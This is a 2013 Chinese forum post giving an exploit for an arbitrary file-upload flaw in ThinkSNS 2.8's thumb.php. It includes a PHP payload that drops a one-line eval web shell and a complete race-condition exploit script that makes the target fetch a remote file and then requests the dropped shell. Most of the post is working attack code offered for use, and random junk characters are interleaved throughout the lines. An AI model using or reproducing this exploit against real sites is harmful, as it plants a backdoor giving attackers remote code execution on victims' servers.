找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2003|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本5 o7 X. j: L" u2 j3 e  A( x% j
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
3 L2 h* t5 q0 ]9 i漏洞文件
8 P! r% ]1 _+ x  n$ k9 z存在漏洞的文件为:thumb.php" V; r& N8 d4 b; A+ R
作者:韦鲲鹏0 o6 ~7 [9 Q7 i$ `. Z1 \( e$ r6 |
1、        准备如下PHP文件并上传到服务器(自己的)。% l7 d  q: b8 n( f) d
文件内容如下:
. k( e; S9 Y, r5 O+ o: L<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
9 X. E! k; e8 D& T) L1 E2、        计算出临时的文件名:& y% e$ ~( y. u
这里我们可以看文件的99行(刚刚是不是没注意呀!)。- g5 j0 j) e; }, d2 W# \
* E2 W/ u, p1 e% v
3、        上传临时文件。
8 H: R6 F: {, R" s& |5 C4、        访问临时文件。
( I3 u" x$ t& T/ _% ]5 ]/ y( v0 P& _但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
4 t) f; n$ S" T8 N, oExploit文件内容如下:(这个我就不详细解释了)
: Z/ C, a* T, I, o0 a; Q<?php: U7 q9 u! x3 v8 \( `) d
error_reporting(0);
, y/ o2 J# u$ N4 wset_time_limit(0);9 V" \6 s, S* ~* e( r1 l
ini_set(“default_socket_timeout”, 5);
) b4 v* E* G% U$ ^; S# M8 y+ T' Bfunction http_send($host, $port, $headers) {2 n- L3 }& E! K3 L' C( `
$fp = fsockopen($host, $port);
& [, |; w# C+ X. |if (!$fp) die(‘Connection -> fail’);& j% o5 l* G$ p1 V
fputs($fp, $headers);
. S( H8 Y, u2 {" d6 ]2 greturn $fp;
8 t" ]/ H! Z* [7 L' F2 q6 ^}
6 ]! J4 Z4 \4 W- O: ?- Yfunction http_recv($fp) {
5 I+ z  F* A: h: q, l. i! R$ret=”";
, `: t( T/ v8 h7 z( Z" bwhile (!feof($fp))
" a& i. i7 D- q7 x$ r$ N$ret.= fgets($fp, 1024);# u: S/ L3 K' u; x1 n( L. F2 Z
fclose($fp);1 r- _! Y" e% o2 c( t/ `" ^8 `
return $ret;0 Z- ~2 j. r( q1 D5 ^
}/ d9 Z8 M& q7 ?! J# }
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
) [# m2 B: L; x- _print “# Discovered by 韦鲲鹏 #\n\n”;
) {- k+ U& d3 Wif ($argc < 4) {
1 `$ ~. ^* w3 h% x" l& [print “Usage:   php <host> <path> <romote_url>\n”;
2 H" G, i5 Q- h' y- g" Mprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;7 c+ g& C8 O5 k; x/ [% X
die();" I5 n) Q+ k- n  Y
}
5 n/ H4 T8 @) \- ^# O0 z" h( T7 _$host = $argv[1];/ X/ w7 u+ z; U# p
$path = $argv[2];# Q) Z3 |% e+ I0 n2 X- a" x* X
$url = $argv[3];
) [1 G  _" L( |* h5 Z$i=0;0 v. G  s& K- i
//上传数据包: i3 Y; J. `6 I2 l# f8 y
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;0 o. O/ z% u2 M( b
$headers_up .= “Host: “.$host.”\r\n”;" D5 l+ z! s1 B4 {6 z, L; K" K
$headers_up .= “Connection: close\r\n\r\n”;. f3 z5 P9 W: ]) h! D: e8 P
echo $headers_up;
. A% I: _, g' l//临时文件访问数据包
" q, m. ?# h9 m1 p3 I$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;: n! M) b% w. T; H- w
$headers .= “Host: “.$host.”\r\n”;
: b6 h" L3 n: ]3 a$headers .= “Connection: close\r\n\r\n”;
2 g0 X. Y% F) Mecho $headers;/ b& ]& D; Q# K8 G
while(++$i<10) {' ^, e) u1 S  l; p
fclose(http_send($host, 80, $headers));
( S/ L, t5 C/ w2 `}& A5 ^3 |! z7 C0 q: A
fclose(http_send($host, 80, $headers_up));6 m5 d( {) W3 u0 K% Y! t! @6 w1 e# X
while(++$i<50) {0 i8 @5 }: e7 E& c& S5 ]
fclose(http_send($host, 80, $headers));# y4 i1 Y# p! N6 r! h( n2 r
}
- v/ M9 w% D' \+ {8 ?$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
1 ?) b+ w+ L+ I4 T3 r5 n$headers .= “Host: “.$host.”\r\n”;" E+ S: _. u3 t: O" O: e, D# e4 ^
$headers .= “Connection: close\r\n\r\n”;* W) E; j2 {. n8 m
$res=http_recv(http_send($host, 80, $headers));: F, y+ p7 W7 ^1 M# O1 g0 U+ `
if(preg_match(‘/200 OK/’,$res)) {
5 i& K0 J/ w5 Z. K) g' Kprint “Success!\n\n”;
5 n) V8 _3 i: F5 Y/ f5 R; B' N} else {
/ T  a7 {/ N' V7 sprint “Fail!\n\n”;+ C5 y& |2 U; H7 a
}
, N9 g7 G# U, ~0 z  n9 H7 T?>; p$ f/ |5 f9 }0 m/ F) Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表